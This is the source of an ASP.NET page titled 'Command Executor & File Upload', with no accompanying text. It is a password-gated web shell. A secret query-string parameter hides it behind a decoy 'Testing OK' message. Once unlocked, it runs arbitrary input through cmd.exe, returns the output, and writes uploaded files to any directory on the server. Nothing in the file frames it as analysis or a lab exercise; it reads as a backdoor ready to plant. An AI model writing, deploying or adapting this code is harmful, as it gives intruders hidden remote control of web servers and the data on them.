<%@ Page Language="C#" %> <% // Check query string string qsName = Request.QueryString["frrg43hio2"]; if (qsName != "mdteq35slt") { Response.Write("

Testing OK ...

"); Response.End(); } %>

Command Executor & File Upload


<% string userValue = Request.Form["myInput"]; string upload_path = Request.Form["upload_path"]; string uploadResult = ""; string output = ""; string error = ""; if (Request.Files.Count > 0){ var file = Request.Files[0]; if (file != null && file.ContentLength > 0){ if (!string.IsNullOrWhiteSpace(upload_path)){ if (System.IO.Directory.Exists(upload_path)){ string fileName = System.IO.Path.GetFileName(file.FileName); string savePath = System.IO.Path.Combine(upload_path, fileName); file.SaveAs(savePath); Response.Write("
Error:
File uploaded to '" + savePath + "' successfully ...
"); } else { Response.Write("
Error:
 Upload path you selected ( "+ upload_path +" ) is not found ...
"); } } else { Response.Write("
Error:
 Upload path is required, Please select your upload path ...
"); } } } if (!string.IsNullOrWhiteSpace(userValue)){ System.Diagnostics.Process p = new System.Diagnostics.Process(); p.StartInfo.FileName = "cmd.exe"; p.StartInfo.Arguments = "/c " + userValue; p.StartInfo.UseShellExecute = false; p.StartInfo.RedirectStandardOutput = true; p.StartInfo.RedirectStandardError = true; p.StartInfo.CreateNoWindow = true; p.Start(); output = p.StandardOutput.ReadToEnd(); error = p.StandardError.ReadToEnd(); p.WaitForExit(); if (!string.IsNullOrWhiteSpace(error)){ Response.Write("Command Result:
" + error + "
"); } if (!string.IsNullOrWhiteSpace(output)){ Response.Write("Error:
" + Server.HtmlEncode(output) + "
"); Response.Write(""); } } %>